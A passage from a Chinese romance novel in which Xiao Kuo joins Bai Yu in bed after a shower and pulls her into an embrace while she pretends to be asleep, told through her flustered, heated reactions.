在她胡思乱想时,萧阔从浴室出来了,他上半身赤裸着,下面裹着浴巾。
朦胧的水雾挂在他的腹肌上,身材健壮、线条优美。
柏妤看了两眼,默默钻进被子里,用被子将眼睛遮住。萧阔的身材真好,那些胡思乱想最终只剩下这一条。
萧阔掀开被子睡进来时,柏妤觉得自己身边好似出现了一只大火炉。浑身都散发着热意。
“小妤睡着了吗?”柏妤不敢说话,闭着眼睛装睡。
灯被关掉了,黑暗的环境中,窸窸窣窣的声音格外明显。
柏妤突然间睁开眼,她的腰腹被身旁的萧阔搂住。刚刚才看到的有力的手臂现在牢牢搂着她的腰。
柏妤再无法装睡,她伸手去推他的手。
“睡着了也不让抱吗?”身后的声音很近,几乎是贴着耳朵。
“我没有睡着。”柏妤的声音有些发抖。
“那刚刚怎么不理我?”
“刚刚已经睡着了。”
“小妤的睡眠真浅。”
“唔!”柏妤惊呼一声,萧阔的手臂一使劲,她就被捞进了他的怀里。
好烫,好热。
柏妤的鼻尖出了汗,也许是喝的那碗姜汤现在才起了作用,她觉得自己被搂住的腹部也在发热。